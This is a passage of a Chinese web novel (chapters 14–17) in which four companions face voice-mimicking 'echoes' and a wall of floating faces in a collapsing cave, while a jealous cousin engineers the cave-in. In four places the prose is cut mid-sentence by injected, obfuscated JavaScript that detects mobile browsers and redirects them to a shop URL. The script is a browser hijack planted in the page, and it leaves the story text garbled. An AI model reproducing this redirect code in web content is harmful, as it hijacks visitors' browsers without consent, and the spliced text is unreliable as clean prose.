“是么?”叶抒年偏过头,眼里带着点狡黠的光,“可我昨晚明明瞧见某人口水都快淌到桌缝里了。” 林少爷听到这话,像是受到了莫大的污蔑,眼睛睁得溜圆:“我哪有!我睡觉从来不流口水的!” 可惜没人信他。俞不晚早已将眼睛弯成月牙状,阮天清则自顾自探路,根本不听解释。 叶抒年倒是回应他了,可她那副点头应和的模样,怎么看都像在揶揄。 林煦言一口气噎在胸口,张了张嘴,最终还是悻悻闭上,只小声嘀咕了一句“本来就是”。 走了一段,林间的晨雾已散尽。光从叶隙间漏下来,碎碎地晃在地上,像洒了一地金屑。 越往北走,林木愈发密集,脚下堆积的腐叶也越来越厚,踩上去软绵绵的,几乎听不见脚步声。 走着走着,阮天清忽然止步,抬手示意。 前方林木掩映间,一道陡峭岩壁赫然矗立,仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958917|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大地至此忽然收束,昂起灰黑色的脊梁。岩壁上布满大小不一的洞口,幽深黢黑,像无数只沉默的眼睛。 “到了。”她将声音压得很低,仿佛怕惊扰什么。 众人纷纷望去,通往岩壁的小路被重重垂藤缠绕,天光也黯淡下来。 四人默契地收敛了刚才的轻松神色。俞不晚无声地将肩上枪炮调整到更顺手的位置,林煦言也绷紧了背脊,目光警惕地扫视四周。 叶抒年走到最前,伸手拨开眼前纠缠的藤蔓,率先走了进去。俞不晚立刻跟上,错身挡在她前方,枪口微抬,戒备着前方可能的危险。 就在这时,身后传来阮天清的声音: “先等等,年年、小俞,你们来看看这个。” 俞不晚下意识要回头,脸已微微偏了半分,电光石火间,叶抒年却一把攥住她的手腕。力道极重,指甲几乎嵌进她皮肉里。 从刚才靠近这片岩壁开始,叶抒年就在时刻警惕。她没忘早先阮天清的告诫。 在山洞前听见回声,不要回头,也不要回应。 刚才那道声音,音色确实像阮天清,可语气里多了点不该有的、黏腻的引诱。那不是阮天清会用的调子。 果不其然,另一道阮天清的声音立即从更近的方向响起,语速更快,斩钉截铁: “别回头!刚才不是我说的。回声已经出现了,接下来不管听见什么,别转头,别应声,继续往前走!” 好险……俞不晚想起那条禁区规约,心头一凛。 刚才那声音太具迷惑力,也太容易致人放松警惕。她擅长沙场对峙,却对这般无形的规则诡计有些生疏。若不是叶抒年那一把拽得及时,后果不堪设想。 “别担心,继续往前走吧。”这次是叶抒年的声音,轻柔得令人安心,就在她耳畔很近的位置响起。 俞不晚确信,刚才说话的是叶抒年本人,却只是微微颔首,不再回头,调整好心态继续开路。 四人保持着队形,在越发潮湿阴冷的空气里又行进了一段。岩壁的阴影已完全笼罩下来,而身后的回声,也越来越密。 接下来的路,那声音变本加厉。它一会儿模仿林煦言抱怨腿酸,一会儿变成阮天清提醒注意脚下。 每一次都卡在人性本能想要回应的一刹那,逼得人神经紧绷。 当俞不晚的声音再次响起,状似提醒叶抒年“裤腿破了”时,叶抒年已近乎麻木地将其归为又一次噪音。 这些无关紧要的絮语全是回声的伎俩,句句虚妄,却又因太过平常无害,而格外消磨人的心神。 又过去十分钟,岩壁的阴影完全吞没了天光,林间通道越发湿冷。叶抒年后背渗出细密的冷汗,将衣料牢牢黏在皮肤上,每走一步都传来撕扯感。 她必须用尽意志力,控制住每次想要回头的肌肉记忆。走着走着,连小腿都发寒,她甚至开始怀疑,自己是否真的能分辨出队友与回声。 再往前行进了一会儿,终于,林木渐疏,眼前豁然现出一片被岩壁环抱的平地。 地面开阔,四人也就不必再一前一后了,而是并排走着,站在彼此能够看到的位置。 “休整十分钟吧。”阮天清提议。 四人就地坐下,围成一圈。 叶抒年盘起腿,正想松一口气,目光却无意间向下一瞥。 右腿的裤脚处,赫然裂着一道口子。 15. 第15章 裤腿脚跟处那块残缺的边缘,丝丝缕缕地渗着凉意。 叶抒年猛地想起林间那句提醒——“你后面的裤腿破了。” 是巧合吗?还是说……回声能够感知或看见现实中发生的事? 她压低了声音,尽量不让语调泄出太多波动:“清清,以前的回声,也能这样贴合现实地骗人吗?” 阮天清起初微怔,目光掠过她裤脚的破损,眼底骤然一沉。 “我进过这片禁区不下二十次,”她面色凝重地说,“回声以前只会发出陌生呓语,毫无逻辑,只为扰乱人的心神。像刚才那样……精准对应现实的细节,我也是第一次见。” 也就是说,在界碑发生变动后,有关回声的这条第一规约也产生了改变。 四人脸上最后一点侥幸的神色褪尽了。 叶抒年仰起头。面前的岩壁高耸入阴霾,无数黑洞沉默地俯视着她们。 她知道,接下来的每一步,都可能踏进回声编织的陷阱,这一程将比此前预设还要危险千百倍。 但退不了,也不想退。 她们被困在这座仿佛有着呼吸的禁区里,唯一的生路,就是找到那座会躲藏的界碑。哪怕它正把整个世界,变成一座步步杀机的迷宫。 休息一番后,叶抒年收回目光,声音很平静:“走吧。” 不过,在踏上通往岩壁的狭窄栈道前,她从储物空间里摸出几张纸巾,揉成小团,分给三人:“用这个塞住耳朵。” 既然回声的侵扰已避无可避,不如主动隔绝。纸团虽不能全然阻隔那些扰人的杂音,总能滤去几分。 四人依言塞好耳朵,起身走向最近的山洞。最底层的洞口垂挂着密匝匝的藤蔓,叶抒年拨开一条缝隙,向内望去。 洞内一片沉黯。 仅凭洞口透入的天光,勉强能看出两侧岩壁湿漉漉地反着水痕,前方甬道深不见底。待四人完全进入,垂落的藤蔓便悄然合拢,将最后一丝光亮也扑灭。 黑暗顷刻吞没视野。 叶抒年正懊恼昨夜没向萧千复多要几支手电,身旁的林煦言已摸出自己的影语石。指尖在石面轻轻一划,一点微光便幽幽漾开,昏沉朦胧,仅能照亮脚下方寸之地。 虽只是聊胜于无的一点光晕,但眼下也没有更好的办法。 另外三人见状,也无声地取出各自的影语石。四点微光在浓稠的黑暗里亮起,像四枚跌入深潭的星,勉强映出彼此模糊的轮廓,和脚下湿滑的石径。 抒年一手扶着湿冷的岩壁,一手将影语石的光晕尽量压低,查看周围是否存在那块界碑的影子。 可惜一路上什么也没有,只余沉默的岩壁和不知何时才能到头的甬道,四人都默不作声,连回声也不知为何迟迟没再出现。 时间在黑暗里失去刻度。 不知过了许久,就在脚步几乎要踏进某种麻木的节奏时,两道声音同时刺破沉寂—— “后面有东西!快往前跑!”左边传来阮天清压低的急喝。 右边紧接着响起林煦言的警示:“别动!前面有陷阱!” 叶抒年脚步猛地顿住。她脖颈僵硬,目光疾速扫向两侧。 微光中,阮天清和林煦言的脸同样绷紧,正无声而剧烈地朝她摇头。 不是她们。 是回声。而且……是两道相互矛盾的回声。 看来这东西已经不满足于用杂音干扰,开始编织更精密的罗网了。已知它会说谎,却又可能掺杂真实的预警。 那么此刻,究竟哪句是真,哪句是假? 叶抒年正陷入两难,现在她们往前也不是,往后也不是。一旁的俞不晚却已经有些恼了。 “吵死了!”她小声嘟哝。 俞不晚向来厌烦这些弯弯绕绕的猜疑,比起谨慎分析、寻找一个看上去相对精准的答案,她更喜欢简单粗暴。 因此话音未落,她肩上的炮口猛地转向后方那片浓稠的黑暗。 “轰——” 炽白的火光骤然炸开,气浪裹挟着碎石与回音在洞中翻滚。没等众人回神,炮口又瞬间调转,对准前方幽深的甬道。 第二声巨响撕裂黑暗。 叶抒年反应过来时,已经来不及阻止,只能眼睁睁看着强光如短暂的白昼,将前后数十米的景象粗暴地照彻。 一时间碎石飞溅,烟尘弥漫,而火光扫过之处……空无一物。 没有追上来的怪物,也没有脚下的陷阱。 刚才那两句,全是假的。 林煦言看得目瞪口呆,半晌才冲着俞不晚比出一个扎扎实实的大拇指。 叶抒年心脏还跟着炮声的余震狂跳,目光迅速扫过洞顶与两侧。 岩壁震颤着落下簌簌尘灰,但结构看上去依旧稳固,没有要塌陷的迹象。 她这才缓缓吐出一口气。 然而,这口气还没吐完,身后忽然传来一声细响,清脆得令人头皮发麻。 “咔嚓。” 叶抒年心有不安地转过头,将影语石的光急切地投向身后。 只见一道狰狞的裂痕正急速蔓延,分叉,眨眼间爬满岩顶。 细碎石屑如雨般落下,紧接着是拳头大的碎石,然后,是整片岩层沉闷的轰鸣。 最担心的事还是发生了。 “快退后!”她的声音被淹没在巨响里。 黑影裹挟着尘土与死亡的重量,轰然倾泻。视线、退路、最后一点侥幸,都被瞬间砸下的岩石彻底吞没。 地动山摇的轰鸣持续了数秒,才渐渐转为碎石滚落的淅沥。尘灰弥漫,似乎致力于堵住洞中人的呼吸。 等四人从剧烈的呛咳与耳鸣中勉强找回意识,眼前只剩一堵彻底封死的石墙。 来时的路,没了。 “那个……我知道错了……” 俞不晚这时的声音已细若游丝,倒不是为刚才的震颤所伤,纯是心虚。 她明明计算过。 炮口的角度,冲击波的扩散范围,以及岩壁的承重结构,这些都在她脑中校准过数遍。按理说这点火力,绝不足以震塌山洞。 刚才那最后一声炮响传来时,连她自己都有些迟疑。 那听起来不像她的炮声。 可无论刚才究竟发生了什么,如今摆在面前的情况是,她们似乎出不去了。 叶抒年拍了拍她的肩,本想说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958918|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点什么安慰的话,可话到嘴边,自己都觉得苍白。 她咽了口混着尘土的唾沫,最终只用口型挤出一句:“……没事。” 不过是退路被堵死,不过是困在了一个随时可能二次坍塌的洞穴深处,不过是生还的概率又往下掉了一截。 没事。 叶抒年有个特点:越是置身绝境,她便越是冷静。仿佛灵魂悬于半空,正以上帝视角,审视着下方这困局中的自己与同伴。 她的思绪在黑暗中疾转,试图想出脱困的法子。 碎石余响还在山洞深处回荡,这时,一丝极其微弱的流动抚上了她的侧脸。 是风。 从斜上方的黑暗深处,很轻,很持续地渗下来。 叶抒年猛然抬头,脱口而出:“前面有风!这山洞可能是通的。” 无人回应。 但另外三人都微微侧过了脸,不是警惕,而是了然。 她们听得出,刚才说话的是叶抒年本人。这几日生死相托,磨出来了四人之间的熟稔,而彼此语气里那点细微的特色,回声暂时还学不像。 虽然这会儿四周已然重归黑暗,可那道细微的气流,却清晰地拂过每个人的皮肤。 叶抒年说的没错,山洞前方传来的风息很明显。 这让众人心中,不约而同地升起一个念头:一直往前走,或许可以走出这座山洞。 阮天清沉声道:“我们顺着风往前走。” 其余三人默契地没有应声,但身影已在寂静中重新列队,摸着黑朝前走。 风的气息持续着,却并未随她们的前行而增强,始终是那样浅浅一缕。 但正是这缕微弱的气流,像一根看不见的线,牵引着四人紧绷的神经,让刚才的滞重,稍稍松动了一些。 可惜彼时,她们的全部注意力都放在脚下。 谁也没有留意,风究竟是迎面而来,还是从某个刁钻的角度斜斜擦过;更无人察觉,那恼人的、真伪难辨的回声,已沉寂了太久太久。 四人就这般追着那缕微弱的气息,在黑暗中摸索前行,直到队伍最前方,俞不晚的鼻尖突然触到一面冰冷的岩壁。 叶抒年走在她身后,察觉到对方停止的脚步,立即将影语石伸到前方地面查看情况,却只看到了密不透风的岩壁。 路,到头了。 这里已是山洞尽头。 没有出口,没有裂隙,连一丝光都不曾透入。而更令人心底发寒的是,那缕引领她们至此的风,也在同一瞬间,无声无息地消失了。 仿佛从未存在过。 “我们……好像走到头了。”俞不晚的声音从最前方传来,尾音带着一点不易察觉的颤。 她伸出的手,指尖正抵着前方冰冷坚硬的岩壁。 可就在几秒钟前,她们还清晰地感受到那股持续的气流,拂过脸颊,像一条无形的引路绳。 怎么会…… 叶抒年的呼吸窒了窒。她想不明白,如果前方是死路,那缕风从何而来?物理的法则在此地难道失效了? 除非…… 她忽然想到一种可能性。 除非,那根本就不是风。 16. 第16章 “你确定她们都被困死在里头了?” 山洞外,林予安斜靠着一块凸起的岩石,手里有一下没一下地扇着风,语气懒洋洋的。 他眼睛盯着刚从山洞里钻出来的眼镜男。对方脸上糊着一层混了汗水的黑灰,发茬里还嵌着碎石屑,在天光下像个刚从坟里爬出来的劳工。 眼镜男没立刻答,先弯下腰撑着膝盖喘了几口粗气。 “炸……炸塌了,”他声音发哑,带着爆破后的耳鸣余韵,“主通道那段最脆的岩层,全垮了。我摸出来前,用手电照过,里面彻底堵死了。” “林煦言他们呢?”林予安追问,声音绷着。 “在里头。炸之前我贴着缝听过,有说话声,四个人都在。”眼镜男终于直起身,抹了把脸,结果把灰抹得更匀了,“现在……现在肯定没声了。” 旁边一个蹲着的瘦高队员突然插嘴,语调有点急:“你亲眼看见他们都进去了?别是半路又折出来……” “我亲眼看着他们背影消失的!”眼镜男猛地转头,脖子上青筋都绷了起来,“老刘和我一起盯的,对吧老刘?” 被叫老刘的是个沉默的中年人,正低头检查手里一把手枪的弹夹,闻言只点了点头,动作稳健。 林予安嘴角勾了勾,显然对这回答很是满意。 他朝身后或坐或站的队员们随意挥了下手:“原地休整一小时。” 队伍沉默地执行命令,气氛有些微妙的紧绷。 他们今日本是在林子里迷了路。自打昨日禁区地貌诡异地变换后,一切方向都失了准,兜兜转转一个多钟头,没想到竟误打误撞闯进了这片岩壁区。 更倒霉的是,他们早在林子里就遭遇了那见鬼的回声。途中,好几个队员因为那真假难辨的声音,回了头或应了声,永远留在了那条小径上。 林予安原本憋着一肚子火,觉得自己简直走了背运,却没成想,刚才竟在岩壁下瞥见了林煦言一行人的背影,那四人前脚刚进山洞。而他们又刚好携带了一批□□…… 这支队伍里大多是父亲安排给他的人,素来与林煦言麾下那支护卫队不对付。刚才趁机阴了对方一把,不少人脸上都带着既兴奋又后怕的神情。 但也有人压低声音嘀咕:“万一……万一林煦言命大,活着出去了,我们岂不是……” 话没说完,但意思谁都懂。 终律城上下,谁不知道那位年轻的执政官对自己这个亲弟弟护得有多紧。若让他知晓有人这般设计林煦言,在场有一个算一个,谁都别想好过。 林予安捏着影语石的手指收紧了一下。石头的棱角硌着掌心,带来细微的刺痛。 “怕什么?”他听见自己的声音响起,带着刻意的不屑,把心头那丝复杂的情绪狠狠压下去,“他进去时根本不知道我们在后面。想告状?也得有命出来才行。” 他顿了顿,目光扫过众人,语气里刻意掺入几分有恃无恐:“再不济,还有我担着。我父亲是组委会的二把手,诸位的前程,自然有保障。” 这话是说给队员们听的,也是说给自己听的。 他在心里反复咀嚼着这个理由:是林煦言他们自己撞上来的,是他们运气不好,是这该死的禁区,他只是顺势而为。就算堂兄知道了,也是这禁区的错,是林煦言自己能力不足。 林予安想,若是林煦言这次折在禁区里……堂兄怕是要痛彻心扉吧?到时候心神大乱,父亲想趁机逼宫,也不是不可能。 他抛了抛手中的影语石。今早禁区异变刚现端倪时,他就已将消息传给了父亲。算算时间,终律城的护卫队恐怕已经在路上了。用不了多久,他就能安然脱身。 而有些人,一旦进了那山洞,就别想再出来。 他用力握紧影语石,借着那冰冷的触感来坚定自己的心志。微光从指缝间渗出,幽幽的,冷冷的。 与此同时,深不见底的山洞内部,也有四点幽微的光,正固执地抵抗着浓稠的黑暗。 空气中弥漫着洞内特有的阴湿气味,混杂着陈年积水与岩石风化后的微腥。寒意从四面八方渗来,透过衣物,钻进骨头缝里。 除了偶尔从极高处滴落的、令人心慌的水珠,在空寂中溅开回响,再无其他声音。 叶抒年握着影语石的手,指尖冰凉,连带着那块石头似乎也失去了原有的温润。 那个可怕的猜想在脑子里盘旋,越转越清晰,致使她浑身血液都凉透。 那不是风。 而是某种东西,在黑暗中对着她们,模仿着风的形态,均匀地吐息。 她深吸一口气,压下心底漫上来的寒意。别自己吓自己,她告诉自己,说不定只是错觉。 手臂却不受控制地,极其缓慢地抬起。 掌心的影语石跟着一寸寸升高。 幽微的光晕随之爬升,拂过粗糙的岩壁,攀上湿冷的黑暗…… 然后,猛地定格。 光晕的边缘,照亮了一张脸。 一张年轻、清隽,甚至称得上好看的脸。 可叶抒年的血液几乎在这一刻冻结。因为那只是一张脸。没有脖颈,没有躯干,没有任何支撑。 它就那样静静地悬浮在黑暗中,在她头顶上方咫尺之处,仿佛一直贴在那里,无声朝下方茫然前行的人吹气。 光晕随着叶抒年难以抑制的颤抖而晃动,而那张脸上,一双眼睛正低垂着,恰与她四目相接。然后,嘴角开始缓缓向上牵动,最终定格成一个让所有观者脊椎发寒的诡异弧度。 “啊——!!” 站在叶抒年侧后方的林煦言,随着她的动作,也将那张悬浮的脸看得清清楚楚。惊恐冲破了喉咙,一声短促凄厉的尖叫,猛地撕开了洞内原本的宁静。 这惊叫像一块投入死潭的巨石,激起回音,更撕开了某种伪装。 下一秒,山洞顶部亮了起来。不,不是“亮起”,是“睁开”。 叶抒年仰起头,瞳孔骤缩。 岩壁上,密密麻麻,竟然贴满了悬浮的人脸! 而现在,这些脸上本该是眼睛的地方,正幽幽地散发出某种暗绿色荧光。荧光从空洞的眼窝里渗出来,一眨不眨地,俯视着下方。 与此同时,那一张张悬浮的人脸上,嘴唇也开始翕动。原本静得能听见水滴迸碎声的山洞,瞬间被无数声音淹没。 这其中不乏清晰模仿着叶抒年四人嗓音的低语,但更多的,是完全陌生的音调。 男人的、女人的、老人的、孩童的,甚至一些扭曲得不似人声的嘶鸣与呜咽。 这些声音层层叠叠,交织翻涌,压得人喘不过气。叶抒年努力去听,却根本无法从这令人头晕目眩的嘈杂中,剥离出任何有意义的词句。 回声,又一次进化了。 不再只是模仿或抛出真假难辨的警告,而是演化为精神污染,用噪音冲刷她们的理智。 叶抒年猛地转头看向阮天清,试图寻求指引或对策。 然而这一次,连经验最丰富的阮天清,眼中也浮起了一层罕见的茫然与凝重。她紧抿着唇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958919|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉头深锁,显然眼前这超出认知的景象,也让她一时失去了判断。 不能坐以待毙,叶抒年想。 即使不回应,这铺天盖地的噪音本身就像无形的锉刀,持续刮擦着她们的神经。什么都不做,只能在这里等死。 叶抒年感到太阳穴已经开始突突跳动,耳膜被各种声音刺得生疼。其他几人的脸色也以肉眼可见的速度变得苍白,呼吸不自觉地急促起来。 无形的压力随着声浪在狭窄的空间里不断堆积,几乎要将人的精神从躯壳中剥离出去。 叶抒年尚未来得及有所动作,阮天清已率先顶着声浪闪身而上。 她双臂上那对轻便型刀具在空中隐现。左刃疾刺向最近那张人脸的眼窝,右刃则划出一道更隐蔽的下弧,抹向同一张脸的下颌处。 双刃几乎同时命中。 但空中的杂音并未产生丝毫削弱。 左刃刺入那眼窝,如同刺进一团雾气,穿透而过,没有遇到丝毫阻碍。而右刃的横抹也同样落空,掠过之处只有空气。 阮天清眼神一凛,身形借着前冲之势未停,足尖在地面一点,如游鱼般滑向侧面。 这一次,她双刀并起,带着旋身之力猛地交错斩出,目标是另一张脸的太阳穴位置,试图用更强的力道试探。 刀光闪过,再次没入虚无。 她的动作没有因此迟滞,反而更快。 劈、挑、点、削……在接下来令人眼花缭乱的数秒内,她的身影在山洞底部有限的空间里急速腾挪,刀光织成一片冷冽的网,从各个刁钻角度袭向不同的人脸。 叶抒年紧盯着那些被刀锋穿过、却纹丝不动的面孔,呼吸微窒。 那不是实体,或者说,不是能被常规物理手段影响的存在。 但阮天清每一次出刀时,她敏锐地注意到,刀锋逼近的瞬间,那些人脸幽绿眼眸的光芒会有极其细微的颤动,像是某种本能的应激反应。 不是对刀刃的反应。是对被接近的反应?还是…… 阮天清终于在一个后翻后稳稳落地,呼吸略促,持刀的双臂微微下沉。 她抬起头,看向洞顶那片密密麻麻的荧光,眼中那丝惯常的冷静被凝重取代。并非挫败,而是在确认。 确认了某种超出常理、无视物理规则的诡异存在。 “清清!”叶抒年突然开口,声音压过嘈杂,“试试光热!” 几乎在同一刻,另一侧的俞不晚已经动了。 俞不晚不喜欢花里胡哨的招式。肩上的重型枪炮在她调整角度的瞬间,炮口深处已然凝聚起一点炽白核心,周围空气都因高温微微扭曲。 “轰——!” 震耳欲聋的爆鸣粗暴地撕碎了所有嘈杂。一道赤白火流怒吼而出,带着焚烧一切的气势,瞬间吞噬了正前方扇形区域内数十张悬浮人脸。 光与热,成了此刻唯一的主宰。 被直接命中的面孔,如同烈日下的残雪,在炽流中瞬间汽化。周围未被击中的则猛地向后惊退,密集的阵列硬生生撕开一道焦黑缺口。 所有脸孔的翕动同时停止,幽绿眼眸颤抖着,齐齐望向炮火过处残留的灼热轨迹,竟能看出一丝畏缩与避让。 叶抒年心脏狂跳。猜对了。 阮天清朝她微微颔首,刀锋未收,依旧警惕着四周。俞不晚则舔了舔嘴唇,炮口缓缓移动,锁定下一个区域。 洞顶,那些脸孔在短暂停滞后,迅速重组阵型,但原本密不透风的包围圈,已然出现了一道脆弱的裂痕。 17. 第17章 弹药有限,时间更有限。此刻每一秒的僵持,都在消耗她们本就不多的体力与清醒。 一个念头在叶抒年心底迅速成型,带着孤注一掷的决绝。 既然火是它们眼下唯一的畏惧,那就让这场火,烧得足够彻底,足够狂烈,烈到能撕开一条生路,哪怕代价是将她们自己也置于险境。 此刻没有万全之策,只有险中求胜。 她深吸一口气,那混杂着硝烟与未知腥气的空气灌入胸腔,将最后一丝迟疑压了下去。 然后,她蹲下身,打开了储物空间。 指尖在空间里快速掠过那些系统奖励的杂物——药品、工具、零星材料。 没有别的选择了。她的目光最终定格,手指握住了一个冰凉的玻璃瓶。 高浓度酒精。 叶抒年握住那瓶液体,直起身,目光扫过身旁三人。 阮天清正以精准的短点射逼退一张试图下扑的脸孔,俞不晚则快速更换着枪管下挂的能源匣。林煦言紧贴着岩壁,脸色发白但咬牙举着一把轻型手枪警戒侧翼。 “清清,小俞,”叶抒年举起手中的玻璃瓶,“用这个。” 阮天清侧头瞥见瓶身,眼神一凛:“酒精?” “对。”叶抒年语速加快,脑中同时飞转。 酒精挥发性强,在密闭空间与空气混合后遇明火即爆燃。但大火会迅速消耗氧气,产生有毒浓烟。 “把酒精洒上去,用你们的火力点燃。我们没法彻底消灭这些东西,只能尽可能驱散,烧出一条路。点火后所有人闭气,压低身体沿岩壁根部冲出去。” 俞不晚换好能源匣,咔嚓一声上膛,眉头紧皱:“火势蔓延开,我们自己也可能被困住。” “我知道。”叶抒年迎上她的目光,“但继续耗下去,弹药耗尽也是死路一条。不如赌一把,赌它们比我们更怕这场火。” 林煦言咽了口唾沫,声音有点抖:“……听、听姐的!” 阮天清没有立刻回答,她抬头看向洞壁。那些幽绿的光点正以肉眼可见的速度增加,嘈杂的声浪又一次蠢蠢欲动。 两秒后,她收回视线,朝叶抒年干脆地一点头:“你指挥时机。” 俞不晚啐了一口,却将肩上炮管稳稳端起,瞄准了洞顶最密集的区域:“行,那就烧。” 计划已定,再无犹豫。 叶抒年拧开瓶盖,浓烈的酒精气味逸散出来。 与此同时,洞顶的人脸似乎察觉到了威胁,幽绿荧光骤然大盛,翻涌着向她们的位置压来。 就是现在。 俞不晚将一杆备用的热能枪抛给阮天清。 两人默契地交替开火,短暂的光束在空中交错明灭,将靠近的人脸一次次逼退。 火光在空中燃起,又瞬间熄灭,惊鸿只在一刹那。 但很快就不止一刹了。 叶抒年将酒精朝洞顶用力挥洒。透明的液体在空中散成细雾,弥漫开来。 几乎同时,阮天清与俞不晚的枪口调转,炽白光束射入那片浮动的酒精雾中。 “轰!” 火焰瞬间爆燃,沿着酒精雾气的轨迹迅猛蔓延,舔上洞顶密集的人脸。 那些人脸吐出的微弱气流,反而成了助燃的风。 火舌顺着岩壁轮廓疯狂窜开,顷刻间连成一片跃动的火海,将整个山洞顶部照得亮如炼狱。 火光炽烈,终于彻底撕开了黑暗的伪装。 直到此刻,四人才真正看清。 整面岩壁,从顶端到四周,密密麻麻,根本是由无数骸骨与人头堆叠而成。 那些看似悬浮的脸孔,实则深深嵌在骨殖之间,构成了这面巨大而诡异的墙壁。 林煦言呼吸骤然停止,下一秒,他猛地偏过头干呕起来。俞不晚则倒抽一口冷气,挤出低低一声咒骂。 叶抒年只觉得一股寒意顺着脊椎爬升,即便置身火海,那股冷意也挥之不去。 这根本不是山洞,而是一座用无数死者堆砌而成的坟墓! 而此刻,这座坟墓正在烈焰中崩塌。 墙体在高温炙烤下发出呻吟。那些嵌在其中的人脸尖啸着,向岩壁更深处蜷缩逃窜,幽绿的光芒在火中明灭不定,迅速黯淡。 失去了这些填充物的支撑,整面岩壁的结构开始瓦解,大块骨骸剥落坠下。 洞顶随之炸开数道裂隙,天光趁机钻入,照亮翻腾的尘烟。 “快看上面!有光!”林煦言声音嘶哑,带着绝处逢生的激动。 “沿着裂隙往外走!快!”阮天清当机立断,挥手指向最近那道透光的裂缝。墙体正在她们眼前大片垮塌,但裂缝后隐约可见外部扭曲的林木光影。 那是生路。 四人无需多言,朝着那道微光全力冲刺。 俞不晚冲在最前,用肩撞开挡路的碎骨;阮天清断后,枪口始终警惕着身后涌动的暗影;而叶抒年拽着气喘吁吁的林煦言,眼睛紧盯着越来越近的光源。 希望就在十几米外。 岩壁崩塌的巨响中,她们甚至能感受到彼此剧烈的心跳。 然而,就在俞不晚的手几乎要触到那道透光缝隙的边缘时—— 脚下倏然一空。 她所站立的这片地面,竟然毫无征兆地整体向下陷落。 “小心!”叶抒年喊道。 可惜太迟了,失重感狠狠包裹住了所有人。 众人脚下的地面忽然碎裂,露出下方深不见底的黑暗。光亮在头顶急速远离,取而代之的是扑面而来的阴冷气流,和碎石坠落的呼啸。 四人一齐坠入深渊。 山洞垮塌的闷响滚过岩壁区,惊起林间一片飞鸟。 林予安带着队员正在岩壁下休整,隐约听见里头传来些不寻常的动静。 有队员侧耳听了听,凑过来报:“队长,洞里好像有情况。” “里头困着四个人,能没情况么?”林予安头也没回,还在数天上一行雁。 他对林煦言目前的处境很有信心,除非整座山洞主动裂开一道缝,否则她们绝对出不来。 “队长,”又有人开口,声音紧了点,“岩壁……好像在抖。” 林予安这才撩起眼皮。头顶那片山岩确实在微微震颤,砂石簌簌地往下落。他皱了皱眉,心想莫非是地震了? 这念头还没转完,他就笑不出来了。 不是地震。 是整面岩壁活过来似的,从那些大大小小的洞口里,突然涌出黑压压一片东西。是异兽,成千上万只,正在潮水般往外冲! 紧接着,那壁立千仞的山岩,竟像酥了的饼似的,在他眼前一块一块往下掉。 霎时间尘烟暴起,兽群奔突,刚才还巍然不动的山体,在这片乱象中,塌了。 林予安愣在原地,手里刚捡的树枝“啪嗒”一声掉在地上。 山洞外的世界陷入混沌,而此刻,在另一片被隔绝的寂静里,叶抒年缓缓睁开了眼。 视野先是模糊一团,随后才聚拢成昏沉的光影。 她试着动了一下,全身骨头都像散了架,无处不痛。最尖锐的刺痛来自右肩关节,稍微一动就钻心地疼,貌似是摔脱臼了。 一阵悉索声从旁边传来。她警觉地想转头,脖颈却僵硬得发酸。 忽然,一只手轻轻搭上她疼痛的肩头。 叶抒年浑身一僵,忍着痛楚猛地扭过头,动作牵扯到伤处,让她倒吸一口凉气。视野对焦后,她看到了阮天清沉静但同样带着疲惫的脸。 对方似乎也刚苏醒不久,正用手揉着太阳穴,眉心微蹙,显然也在对抗坠落后的眩晕和不适。她的目光落在叶抒年的肩膀上:“脱臼了?” “嗯。”叶抒年忍着疼点头。 阮天清没再多话,她先活动了一下自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973520|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己有些发颤的手腕,然后才小心地扶住叶抒年的胳膊,另一只手稳稳按住她的肩胛骨。 “忍着点。”话音落下,指节发力一抵一推。 肩头传来“咔”一声轻响。 叶抒年痛得抽了口气,额角渗出冷汗,但紧接着便觉那滞涩的关节重新归位,虽还酸胀,却已能活动。 她试着转了转手臂,朝阮天清扯出个坚强的笑:“好了。” 阮天清颔首,转身去查看另外两人。 叶抒年也撑着没受伤的左臂,忍着全身酸痛坐起身。耳鸣减弱了些,但脑袋依旧昏沉。她看向身旁,俞不晚蜷在地上,还没醒。 叶抒年伸手,轻轻摇了摇她的胳膊:“小俞,醒醒。” 